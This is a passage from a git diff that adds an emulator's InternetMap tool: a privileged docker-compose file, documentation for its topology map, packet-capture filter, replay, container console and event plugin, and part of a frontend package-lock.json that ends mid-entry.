["node_modules"] +} diff --git a/tools/InternetMap/docker-compose.yml b/tools/InternetMap/docker-compose.yml new file mode 100644 index 000000000..6f703bd30 --- /dev/null +++ b/tools/InternetMap/docker-compose.yml @@ -0,0 +1,13 @@ +version: "3" + +services: + seedemu-client: + build: . + container_name: seedemu_client + volumes: + - /var/run/docker.sock:/var/run/docker.sock + ports: + - 8080:8080 + cap_add: + - ALL + privileged: true \ No newline at end of file diff --git a/tools/InternetMap/docs/assets/dashboard.png b/tools/InternetMap/docs/assets/dashboard.png new file mode 100644 index 000000000..c7c9e899d Binary files /dev/null and b/tools/InternetMap/docs/assets/dashboard.png differ diff --git a/tools/InternetMap/docs/assets/drag_fixed.png b/tools/InternetMap/docs/assets/drag_fixed.png new file mode 100644 index 000000000..2e44072c2 Binary files /dev/null and b/tools/InternetMap/docs/assets/drag_fixed.png differ diff --git a/tools/InternetMap/docs/assets/filter.png b/tools/InternetMap/docs/assets/filter.png new file mode 100644 index 000000000..bb69b00e7 Binary files /dev/null and b/tools/InternetMap/docs/assets/filter.png differ diff --git a/tools/InternetMap/docs/assets/index.png b/tools/InternetMap/docs/assets/index.png new file mode 100644 index 000000000..b23b4c41f Binary files /dev/null and b/tools/InternetMap/docs/assets/index.png differ diff --git a/tools/InternetMap/docs/assets/log.png b/tools/InternetMap/docs/assets/log.png new file mode 100644 index 000000000..dbb867333 Binary files /dev/null and b/tools/InternetMap/docs/assets/log.png differ diff --git a/tools/InternetMap/docs/assets/map.png b/tools/InternetMap/docs/assets/map.png new file mode 100644 index 000000000..f9b892e51 Binary files /dev/null and b/tools/InternetMap/docs/assets/map.png differ diff --git a/tools/InternetMap/docs/assets/operation.png b/tools/InternetMap/docs/assets/operation.png new file mode 100644 index 000000000..d58fed459 Binary files /dev/null and b/tools/InternetMap/docs/assets/operation.png differ diff --git a/tools/InternetMap/docs/assets/plugin.png b/tools/InternetMap/docs/assets/plugin.png new file mode 100644 index 000000000..7185cb594 Binary files /dev/null and b/tools/InternetMap/docs/assets/plugin.png differ diff --git a/tools/InternetMap/docs/assets/replay.png b/tools/InternetMap/docs/assets/replay.png new file mode 100644 index 000000000..7b743d900 Binary files /dev/null and b/tools/InternetMap/docs/assets/replay.png differ diff --git a/tools/InternetMap/docs/assets/search.png b/tools/InternetMap/docs/assets/search.png new file mode 100644 index 000000000..f8d6d36b4 Binary files /dev/null and b/tools/InternetMap/docs/assets/search.png differ diff --git a/tools/InternetMap/docs/assets/service.png b/tools/InternetMap/docs/assets/service.png new file mode 100644 index 000000000..3712cf92b Binary files /dev/null and b/tools/InternetMap/docs/assets/service.png differ diff --git a/tools/InternetMap/docs/assets/terminal.png b/tools/InternetMap/docs/assets/terminal.png new file mode 100644 index 000000000..443625fa3 Binary files /dev/null and b/tools/InternetMap/docs/assets/terminal.png differ diff --git a/tools/InternetMap/docs/map.md b/tools/InternetMap/docs/map.md new file mode 100644 index 000000000..1e02a435f --- /dev/null +++ b/tools/InternetMap/docs/map.md @@ -0,0 +1,87 @@ +## map.html + +The network topology diagram illustrates the interconnection relationships between nodes and networks, along with auxiliary features including filtering, search, settings, replay, and logging capabilities. + +- [filter](#filter) +- [search](#search) +- [setting](#setting) + - [service](#service) + - [drag fixed](#drag-fixed) +- [replay](#replay) +- [operate the container](#operate-the-container) +- [data packet log echo](#data-packet-log-echo) + +![map.png](assets/map.png) + +### filter + +Configure packet capture filtering conditions - this serves as the primary functionality. +Input parameters will be utilized as tcpdump parameters to set packet capture and filtering conditions. + +1. Input valid packet capture conditions +2. When the cursor is positioned in the "Filter" input field, press the "Enter" key or click the "Submit" button to submit data and initiate packet capture +3. Nodes capturing data packets will flash visually +4. Specific packet contents will be displayed in the Packet Log Echo section + +![filter.png](assets/filter.png) + +### search + +Search for nodes and networks that meet the conditions, such as ip, name, label, etc. The found nodes will be highlighted. The operation method is similar to that of `filter`. + +![search.png](assets/search.png) + +### setting + +#### service + +There may be simulators containing various "Services". To better display them, this function is provided. + +When there is an emulator containing "service", the "service" option will appear in the "setting". Check the specific service, and the border of the corresponding emulator in the "map" will be highlighted (the color is random, and the color of the same type of "service" is the same). Uncheck it to restore the original style. + +As shown in the figure, when "WebService" is selected, the border of this type of container is highlighted. + +![service.png](assets/service.png) + +#### drag fixed + +Determines whether the topology diagram remains in its current position after being dragged with the mouse. + +Checked: Diagram maintains its position after dragging + +Unchecked: Diagram does not maintain position after dragging + +![drag_fixed.png](assets/drag_fixed.png) + +### replay + +To better document and display packet transmission on the map interface, the `Replay` function is provided. This feature recreates recorded packet transmission processes at specified display rates and supports fast-forward and rewind functionality. + +- `Dot` button: start recording +- `Triangle` button: Start/Pause replay +- `Square` button: Stop replay +- `Left` arrow button: Step backward +- `Right` arrow button: Step forward +- `Event interval`: Adjust replay rate + +![replay.png](assets/replay.png) + +### operate the container + +![operation.png](assets/operation.png) + +Clicking "Start Console" opens the container terminal, allowing direct access to container operations without executing Docker commands, providing a more convenient user experience. + +![terminal.png](assets/terminal.png) + +For security reasons, the environment variable "console" is provided. When it is "false", access to the console is prohibited. please refer to [example/internet/B07_internet_map_unable_console](../../../examples/internet/B07_internet_map_unable_console/README.md) + +### data packet log echo + +All captured packets matching the "Filter" conditions will be displayed in the "Log" section, facilitating detailed inspection of packet contents. This section can be collapsed when not needed. + +![log.png](assets/log.png) + +Note on the map: + +- try not to click on any nodes or start packet capture on the map until the emulation is fully started (i.e., all containers are created). \ No newline at end of file diff --git a/tools/InternetMap/docs/plugin.md b/tools/InternetMap/docs/plugin.md new file mode 100644 index 000000000..6c6e54f71 --- /dev/null +++ b/tools/InternetMap/docs/plugin.md @@ -0,0 +1,54 @@ +# Plugin Page: plugin.html + +To interact with the Internet Map, corresponding tools need to be installed on each container. Tools that support the core visualization features are already installed on containers; this is done during the building time, i.e., when the emulator is constructed. If we add new visualization features to the Internet Map, if we want to install the additional tools on containers again during the building time, we will have to change the emulator code. This is not a good approach, as it makes the emulator depend on the Internet Map tool. + +To make the Internet Map and the emulator as independent as possible, we introduce the plugin framework. Plugins are tools that are installed on containers during the runtime. For example, the `submit_event` plugin allows containers to directly instruct the Internet Map how they want the Map to visualize them (flahsing, changing color, etc.) . + +Currently, only the `submit_event` plugin is available, but more plugins will be added in the future. + +![plugin.png](assets/plugin.png) + +## submit_event plugin + +Support customizing the display style on the map. The plugin needs to run inside each emulator container. + +Click `install` to install the corresponding plugin on each emulator container. The `submit_event.sh` script will be generated in the `/map-plugins` directory inside each emulator container. + +Here is now to use the script: + +- `submit_event.sh` + - params + - `-a, --action`, `flash|flashOnce|highlight`, default: `highlight` (**Required parameters**) + - `flash`, the container node on the Map will be constantly flashing + - `flashOnce`, the container node will flash only once + - `highlight`, the container node will be highlighted + - `-s, --style`, custom style file (optional), providing custom styles for the action. Without the style file, actions will use the default styles + - usage example + - Execute this script inside an emulator container, `bash /map-plugins/submit_event.sh -a flash --style /option.json` + +- Custom style file + ```python + { + # The hightlight style + "highlight": { ... }, + # The flashing style. Flashing includes two styles; it basically switches between these two styles + "flash": { # both fields can be null, using the default setting + "static": { ... }, + "dynamic": { ... }, + "duration": N # The duration between two flashes (in milliseconds), default 300ms (only meaningful for the continuous flashing option) + } + } + ``` + + The ... above represents the actual style specificataion, which follows the official `vis-network` document. Please see [vis-network](https://visjs.github.io/vis-network/docs/network/nodes.html) for more detailed explanation. Here we give an example. + ```js + { + "borderWidth": 1, + "color": { + "background": "blue" + }, + "size": 50 + } + ``` + +For usage examples, please refer to [examples/internet/B06_internet_map](../../../examples/internet/B06_internet_map/README.md) `submit_event plugin` \ No newline at end of file diff --git a/tools/InternetMap/frontend/package-lock.json b/tools/InternetMap/frontend/package-lock.json new file mode 100644 index 000000000..7df4772b0 --- /dev/null +++ b/tools/InternetMap/frontend/package-lock.json @@ -0,0 +1,2750 @@ +{ + "name": "container-manager-client", + "version": "0.0.1", + "lockfileVersion": 2, + "requires": true, + "packages": { + "": { + "name": "container-manager-client", + "version": "0.0.1", + "license": "MIT", + "dependencies": { + "@egjs/hammerjs": "^2.0.17", + "@types/bootstrap": "^5.0.4", + "@types/datatables.net": "^1.10.19", + "@types/datatables.net-select": "^1.2.6", + "@types/hammerjs": "^2.0.36", + "@types/jquery": "^3.5.5", + "@types/jqueryui": "^1.12.14", + "bootstrap": "^4.5.3", + "bootstrap-icons": "^1.3.0", + "component-emitter": "^1.3.0", + "datatables.net": "^1.10.23", + "datatables.net-bs4": "^1.10.23", + "datatables.net-select": "^1.3.1", + "datatables.net-select-bs4": "^1.3.1", + "file-loader": "^6.2.0", + "hammerjs": "^2.0.8", + "jquery": "^3.5.1", + "jquery-ui": "^1.12.1", + "keycharm": "^0.4.0", + "popper.js": "^1.16.1", + "timsort": "^0.3.0", + "uuid": "^8.3.2", + "vis-data": "^7.1.2", + "vis-network": "^9.0.4", + "vis-util": "^5.0.2", + "xterm": "^4.9.0", + "xterm-addon-attach": "^0.6.0", + "xterm-addon-fit": "^0.4.0" + }, + "devDependencies": { + "css-loader": "^5.0.1", + "style-loader": "^2.0.0", + "ts-loader": "^8.0.14", + "typescript": "^4.1.3", + "webpack": "^5.14.0" + } + }, + "node_modules/@egjs/hammerjs": { + "version": "2.0.17", + "resolved": "https://registry.npmjs.org/@egjs/hammerjs/-/hammerjs-2.0.17.tgz", + "integrity": "sha512-XQsZgjm2EcVUiZQf11UBJQfmZeEmOW8DpI1gsFeln6w0ae0ii4dMQEQ0kjl6DspdWX1aGY1/loyXnP0JS06e/A==", + "dependencies": { + "@types/hammerjs": "^2.0.36" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/@popperjs/core": { + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/@popperjs/core/-/core-2.6.0.tgz", + "integrity": "sha512-cPqjjzuFWNK3BSKLm0abspP0sp/IGOli4p5I5fKFAzdS8fvjdOwDCfZqAaIiXd9lPkOWi3SUUfZof3hEb7J/uw==" + }, + "node_modules/@types/bootstrap": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/@types/bootstrap/-/bootstrap-5.0.4.tgz", + "integrity": "sha512-Awa1onTcDziszyFDAAa2AawwYCQamGBLqR3YuRhJHJNlAFKwpfzsE+lfSyKtwxRNEImpkWevhOuwo0yPadd3hA==", + "dependencies": { + "@popperjs/core": "^2.6.0", + "@types/jquery": "*" + } + }, + "node_modules/@types/datatables.net": { + "version": "1.10.19", + "resolved": "https://registry.npmjs.org/@types/datatables.net/-/datatables.net-1.10.19.tgz", + "integrity": "sha512-WuzgytEmsIpVYZbkce+EvK1UqBI7/cwcC/WgYeAtXdq2zi+yWzJwMT5Yb6irAiOi52DBjeAEeRt3bYzFYvHWCQ==", + "dependencies": { + "@types/jquery": "*" + } + }, + "node_modules/@types/datatables.net-select": { + "version": "1.2.6", + "resolved": "https://registry.npmjs.org/@types/datatables.net-select/-/datatables.net-select-1.2.6.tgz", + "integrity": "sha512-F114lcN6EuAELInU/ZSb1gGyQNfUFCAdZRbo12dRNtdt+HYxiRHVmow46J7Qy0Hv44/6DaPHwHKhVq35eY3LPg==", + "dependencies": { + "@types/datatables.net": "*", + "@types/jquery": "*" + } + }, + "node_modules/@types/eslint": { + "version": "7.2.6", + "resolved": "https://registry.npmjs.org/@types/eslint/-/eslint-7.2.6.tgz", + "integrity": "sha512-I+1sYH+NPQ3/tVqCeUSBwTE/0heyvtXqpIopUUArlBm0Kpocb8FbMa3AZ/ASKIFpN3rnEx932TTXDbt9OXsNDw==", + "dev": true, + "dependencies": { + "@types/estree": "*", + "@types/json-schema": "*" + } + }, + "node_modules/@types/eslint-scope": { + "version": "3.7.0", + "resolved": "https://registry.npmjs.org/@types/eslint-scope/-/eslint-scope-3.7.0.tgz", + "integrity": "sha512-O/ql2+rrCUe2W2rs7wMR+GqPRcgB6UiqN5RhrR5xruFlY7l9YLMn0ZkDzjoHLeiFkR8MCQZVudUuuvQ2BLC9Qw==", + "dev": true, + "dependencies": { + "@types/eslint": "*", + "@types/estree": "*" + } + }, + "node_modules/@types/estree": { + "version": "0.0.45", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-0.0.45.tgz", + "integrity": "sha512-jnqIUKDUqJbDIUxm0Uj7bnlMnRm1T/eZ9N+AVMqhPgzrba2GhGG5o/jCTwmdPK709nEZsGoMzXEDUjcXHa3W0g==", + "dev": true + }, + "node_modules/@types/hammerjs": { + "version": "2.0.36", + "resolved": "https://registry.npmjs.org/@types/hammerjs/-/hammerjs-2.0.36.tgz", + "integrity": "sha512-7TUK/k2/QGpEAv/BCwSHlYu3NXZhQ9ZwBYpzr9tjlPIL2C5BeGhH3DmVavRx3ZNyELX5TLC91JTz/cen6AAtIQ==" + }, + "node_modules/@types/jquery": { + "version": "3.5.5", + "resolved": "https://registry.npmjs.org/@types/jquery/-/jquery-3.5.5.tgz", + "integrity": "sha512-6RXU9Xzpc6vxNrS6FPPapN1SxSHgQ336WC6Jj/N8q30OiaBZ00l1GBgeP7usjVZPivSkGUfL1z/WW6TX989M+w==", + "dependencies": { + "@types/sizzle": "*" + } + }, + "node_modules/@types/jqueryui": { + "version": "1.12.14", + "resolved": "https://registry.npmjs.org/@types/jqueryui/-/jqueryui-1.12.14.tgz", + "integrity": "sha512-fR9PoOI0yauBS0sjGaU3ao0s2pJWjBi0yVYnPdYbllNoimaPUlHMOh0Ubq+hy8OB258hRSlK2hWCJk40kNhrZQ==", + "dependencies": { + "@types/jquery": "*" + } + }, + "node_modules/@types/json-schema": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.6.tgz", + "integrity": "sha512-3c+yGKvVP5Y9TYBEibGNR+kLtijnj7mYrXRg+WpFb2X9xm04g/DXYkfg4hmzJQosc9snFNUPkbYIhu+KAm6jJw==" + }, + "node_modules/@types/node": { + "version": "14.14.20", + "resolved": "https://registry.npmjs.org/@types/node/-/node-14.14.20.tgz", + "integrity": "sha512-Y93R97Ouif9JEOWPIUyU+eyIdyRqQR0I8Ez1dzku4hDx34NWh4HbtIc3WNzwB1Y9ULvNGeu5B8h8bVL5cAk4/A==", + "dev": true + }, + "node_modules/@types/sizzle": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/@types/sizzle/-/sizzle-2.3.2.tgz", + "integrity": "sha512-7EJYyKTL7tFR8+gDbB6Wwz/arpGa0Mywk1TJbNzKzHtzbwVmY4HR9WqS5VV7dsBUKQmPNr192jHr/VpBluj/hg==" + }, + "node_modules/@webassemblyjs/ast": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.11.0.tgz", + "integrity": "sha512-kX2W49LWsbthrmIRMbQZuQDhGtjyqXfEmmHyEi4XWnSZtPmxY0+3anPIzsnRb45VH/J55zlOfWvZuY47aJZTJg==", + "dev": true, + "dependencies": { + "@webassemblyjs/helper-numbers": "1.11.0", + "@webassemblyjs/helper-wasm-bytecode": "1.11.0" + } + }, + "node_modules/@webassemblyjs/floating-point-hex-parser": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.11.0.tgz", + "integrity": "sha512-Q/aVYs/VnPDVYvsCBL/gSgwmfjeCb4LW8+TMrO3cSzJImgv8lxxEPM2JA5jMrivE7LSz3V+PFqtMbls3m1exDA==", + "dev": true + }, + "node_modules/@webassemblyjs/helper-api-error": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.11.0.tgz", + "integrity": "sha512-baT/va95eXiXb2QflSx95QGT5ClzWpGaa8L7JnJbgzoYeaA27FCvuBXU758l+KXWRndEmUXjP0Q5fibhavIn8w==", + "dev": true + }, + "node_modules/@webassemblyjs/helper-buffer": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.11.0.tgz", + "integrity": "sha512-u9HPBEl4DS+vA8qLQdEQ6N/eJQ7gT7aNvMIo8AAWvAl/xMrcOSiI2M0MAnMCy3jIFke7bEee/JwdX1nUpCtdyA==", + "dev": true + }, + "node_modules/@webassemblyjs/helper-numbers": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-numbers/-/helper-numbers-1.11.0.tgz", + "integrity": "sha512-DhRQKelIj01s5IgdsOJMKLppI+4zpmcMQ3XboFPLwCpSNH6Hqo1ritgHgD0nqHeSYqofA6aBN/NmXuGjM1jEfQ==", + "dev": true, + "dependencies": { + "@webassemblyjs/floating-point-hex-parser": "1.11.0", + "@webassemblyjs/helper-api-error": "1.11.0", + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@webassemblyjs/helper-wasm-bytecode": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.11.0.tgz", + "integrity": "sha512-MbmhvxXExm542tWREgSFnOVo07fDpsBJg3sIl6fSp9xuu75eGz5lz31q7wTLffwL3Za7XNRCMZy210+tnsUSEA==", + "dev": true + }, + "node_modules/@webassemblyjs/helper-wasm-section": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.11.0.tgz", + "integrity": "sha512-3Eb88hcbfY/FCukrg6i3EH8H2UsD7x8Vy47iVJrP967A9JGqgBVL9aH71SETPx1JrGsOUVLo0c7vMCN22ytJew==", + "dev": true, + "dependencies": { + "@webassemblyjs/ast": "1.11.0", + "@webassemblyjs/helper-buffer": "1.11.0", + "@webassemblyjs/helper-wasm-bytecode": "1.11.0", + "@webassemblyjs/wasm-gen": "1.11.0" + } + }, + "node_modules/@webassemblyjs/ieee754": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.11.0.tgz", + "integrity": "sha512-KXzOqpcYQwAfeQ6WbF6HXo+0udBNmw0iXDmEK5sFlmQdmND+tr773Ti8/5T/M6Tl/413ArSJErATd8In3B+WBA==", + "dev": true, + "dependencies": { + "@xtuc/ieee754": "^1.2.0" + } + }, + "node_modules/@webassemblyjs/leb128": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.11.0.tgz", + "integrity": "sha512-aqbsHa1mSQAbeeNcl38un6qVY++hh8OpCOzxhixSYgbRfNWcxJNJQwe2rezK9XEcssJbbWIkblaJRwGMS9zp+g==", + "dev": true, + "dependencies": { + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@webassemblyjs/utf8": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.11.0.tgz", + "integrity": "sha512-A/lclGxH6SpSLSyFowMzO/+aDEPU4hvEiooCMXQPcQFPPJaYcPQNKGOCLUySJsYJ4trbpr+Fs08n4jelkVTGVw==", + "dev": true + }, + "node_modules/@webassemblyjs/wasm-edit": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.11.0.tgz", + "integrity": "sha512-JHQ0damXy0G6J9ucyKVXO2j08JVJ2ntkdJlq1UTiUrIgfGMmA7Ik5VdC/L8hBK46kVJgujkBIoMtT8yVr+yVOQ==", + "dev": true, + "dependencies": { + "@webassemblyjs/ast": "1.11.0", + "@webassemblyjs/helper-buffer": "1.11.0", + "@webassemblyjs/helper-wasm-bytecode": "1.11.0", + "@webassemblyjs/helper-wasm-section": "1.11.0", + "@webassemblyjs/wasm-gen": "1.11.0", + "@webassemblyjs/wasm-opt": "1.11.0", + "@webassemblyjs/wasm-parser": "1.11.0", + "@webassemblyjs/wast-printer": "1.11.0" + } + }, + "node_modules/@webassemblyjs/wasm-gen": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.11.0.tgz", + "integrity": "sha512-BEUv1aj0WptCZ9kIS30th5ILASUnAPEvE3tVMTrItnZRT9tXCLW2LEXT8ezLw59rqPP9klh9LPmpU+WmRQmCPQ==", + "dev": true, + "dependencies": { + "@webassemblyjs/ast": "1.11.0", + "@webassemblyjs/helper-wasm-bytecode": "1.11.0", + "@webassemblyjs/ieee754": "1.11.0", + "@webassemblyjs/leb128": "1.11.0", + "@webassemblyjs/utf8": "1.11.0" + } + }, + "node_modules/@webassemblyjs/wasm-opt": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.11.0.tgz", + "integrity": "sha512-tHUSP5F4ywyh3hZ0+fDQuWxKx3mJiPeFufg+9gwTpYp324mPCQgnuVKwzLTZVqj0duRDovnPaZqDwoyhIO8kYg==", + "dev": true, + "dependencies": { + "@webassemblyjs/ast": "1.11.0", + "@webassemblyjs/helper-buffer": "1.11.0", + "@webassemblyjs/wasm-gen": "1.11.0", + "@webassemblyjs/wasm-parser": "1.11.0" + } + }, + "node_modules/@webassemblyjs/wasm-parser": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.11.0.tgz", + "integrity": "sha512-6L285Sgu9gphrcpDXINvm0M9BskznnzJTE7gYkjDbxET28shDqp27wpruyx3C2S/dvEwiigBwLA1cz7lNUi0kw==", + "dev": true, + "dependencies": { + "@webassemblyjs/ast": "1.11.0", + "@webassemblyjs/helper-api-error": "1.11.0", + "@webassemblyjs/helper-wasm-bytecode": "1.11.0", + "@webassemblyjs/ieee754": "1.11.0", + "@webassemblyjs/leb128": "1.11.0", + "@webassemblyjs/utf8": "1.11.0" + } + }, + "node_modules/@webassemblyjs/wast-printer": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.11.0.tgz", + "integrity": "sha512-Fg5OX46pRdTgB7rKIUojkh9vXaVN6sGYCnEiJN1GYkb0RPwShZXp6KTDqmoMdQPKhcroOXh3fEzmkWmCYaKYhQ==", + "dev": true, + "dependencies": { + "@webassemblyjs/ast": "1.11.0", + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@xtuc/ieee754": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz", + "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==", + "dev": true + }, + "node_modules/@xtuc/long": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.2.tgz", + "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==", + "dev": true + }, + "node_modules/acorn": { + "version": "8.0.4", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.0.4.tgz", + "integrity": "sha512-XNP0PqF1XD19ZlLKvB7cMmnZswW4C/03pRHgirB30uSJTaS3A3V1/P4sS3HPvFmjoriPCJQs+JDSbm4bL1TxGQ==", + "dev": true, + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + } + }, + "node_modules/ajv-keywords": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", + "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==" + }, + "node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/big.js": { + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz", + "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==", + "engines": { + "node": "*" + } + }, + "node_modules/bootstrap": { + "version": "4.5.3", + "resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-4.5.3.tgz", + "integrity": "sha512-o9ppKQioXGqhw8Z7mah6KdTYpNQY//tipnkxppWhPbiSWdD+1raYsnhwEZjkTHYbGee4cVQ0Rx65EhOY/HNLcQ==" + }, + "node_modules/bootstrap-icons": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/bootstrap-icons/-/bootstrap-icons-1.3.0.tgz", + "integrity": "sha512-w6zQ93p626zmPDqDtET7VdB9EkoDtfmCBV53hunjntoCke6X5LafXf6TxPAP+ImjRAhhxAyA/sjzQnHBY0uoiQ==", + "engines": { + "node": ">=10" + } + }, + "node_modules/braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "dependencies": { + "fill-range": "^7.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/browserslist": { + "version": "4.16.1", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.16.1.tgz", + "integrity": "sha512-UXhDrwqsNcpTYJBTZsbGATDxZbiVDsx6UjpmRUmtnP10pr8wAYr5LgFoEFw9ixriQH2mv/NX2SfGzE/o8GndLA==", + "dev": true, + "dependencies": { + "caniuse-lite": "^1.0.30001173", + "colorette": "^1.2.1", + "electron-to-chromium": "^1.3.634", + "escalade": "^3.1.1", + "node-releases": "^1.1.69" + }, + "bin": { + "browserslist": "cli.js" + }, + "engines": { + "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" + } + }, + "node_modules/buffer-from": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.1.tgz", + "integrity": "sha512-MQcXEUbCKtEo7bhqEs6560Hyd4XaovZlO/k9V3hjVUF/zwW7KBVdSK4gIt/bzwS9MbR5qob+F5jusZsb0YQK2A==", + "dev": true + }, + "node_modules/camelcase": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.2.0.tgz", + "integrity": "sha512-c7wVvbw3f37nuobQNtgsgG9POC9qMbNuMQmTCqZv23b6MIz0fcYpBiOlv9gEN/hdLdnZTDQhg6e9Dq5M1vKvfg==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/caniuse-lite": { + "version": "1.0.30001176", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001176.tgz", + "integrity": "sha512-VWdkYmqdkDLRe0lvfJlZQ43rnjKqIGKHWhWWRbkqMsJIUaYDNf/K/sdZZcVO6YKQklubokdkJY+ujArsuJ5cag==", + "dev": true + }, + "node_modules/chalk": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz", + "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/chrome-trace-event": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.2.tgz", + "integrity": "sha512-9e/zx1jw7B4CO+c/RXoCsfg/x1AfUBioy4owYH0bJprEYAx5hRFLRhWBqHAG57D0ZM4H7vxbP7bPe0VwhQRYDQ==", + "dev": true, + "dependencies": { + "tslib": "^1.9.0" + }, + "engines": { + "node": ">=6.0" + } + }, + "node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/colorette": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/colorette/-/colorette-1.2.1.tgz", + "integrity": "sha512-puCDz0CzydiSYOrnXpz/PKd69zRrribezjtE9yd4zvytoRc8+RY/KJPvtPFKZS3E3wP6neGyMe0vOTlHO5L3Pw==", + "dev": true + }, + "node_modules/commander": { + "version": "2.20.3", + "resolved": 